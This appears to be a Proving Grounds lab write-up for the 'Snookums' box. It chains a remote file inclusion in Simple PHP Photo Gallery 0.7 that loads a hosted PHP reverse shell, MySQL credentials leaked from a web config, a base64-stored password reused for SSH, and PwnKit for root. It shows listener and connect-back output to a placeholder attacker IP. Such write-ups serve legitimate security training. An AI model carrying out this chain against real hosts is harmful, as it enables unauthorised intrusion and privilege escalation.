Snookums Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 3 min read
Snookums runs Simple PHP Photo Gallery 0.7, vulnerable to a remote file inclusion (EDB-48424) that is used to include a hosted PHP reverse shell for a www-data shell. A web config leaks MySQL credentials, and a base64-"encoded" password in the database turns out to be reused for SSH, after which PwnKit (CVE-2021-4034) finishes the job.
Reconnaissance
Nmap
A full TCP scan reveals a wide spread of services.
21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 7.4 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) 111/tcp open rpcbind 2-4 139/tcp open netbios-ssn Samba smbd 3.X - 4.X 445/tcp open netbios-ssn Samba smbd 4.10.4 3306/tcp open mysql MySQL (unauthorized) 33060/tcp open mysqlx?
Anonymous FTP and the Samba shares turn up nothing useful. Port 80 runs a Simple PHP Photo Gallery install.
Directory discovery
Brute force directories on the web root.
[200] /image.php [200] /index.php [301] /icons/
Enumeration
Simple PHP Photo Gallery v0.7 is a minimal PHP gallery app. Its image.php handler is vulnerable to remote file inclusion, including the file parameter without sanitizing it.
Simple PHP Photo Gallery 0.7 - Remote File Inclusion | php/webapps/48424.txt
Exploitation
Remote file inclusion (EDB-48424)
Host a PHP reverse shell on the attacker machine, then include it through the vulnerable parameter.
Serving HTTP on 0.0.0.0 port 80 ...
listening on [any] $ATTACKER_PORT ...
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] bash-4.2$ cat /var/www/local.txt
Shell as www-data (apache).
Privilege Escalation
MySQL credentials in a web config
Read the gallery's database config.
$db_host = "localhost";
$db_user = "Root";
$db_pass = "$MYSQL_ROOT_PASSWORD";
$db_name = "SimplePHPGal";
Those credentials unlock the application's own MySQL database.
+----------+------------------------+ | username | password | +----------+------------------------+ | josh | <snip, base64> | | michael | <base64 of $MICHAEL_PASSWORD> | | serena | <snip, base64> | +----------+------------------------+
Michael's password is only base64-encoded, not hashed, so it decodes directly to plaintext.
$MICHAEL_PASSWORD
michael@$TARGET_IP's password: $MICHAEL_PASSWORD [michael@snookums ~]$ id uid=1000(michael) gid=1000(michael) groups=1000(michael)
The database password is reused as michael's real login. Shell as michael.
PwnKit (CVE-2021-4034)
The box runs a vulnerable PolicyKit, exploitable with PwnKit, a memory corruption in pkexec that lets any local user escalate to root.
# id uid=0(root) gid=0(root) groups=0(root),1000(michael)
PwnKit hands over a root shell.
Related
References
-
Simple PHP Photo Gallery 0.7 remote file inclusion.
-
PwnKit: Polkit pkexec memory corruption local privilege escalation.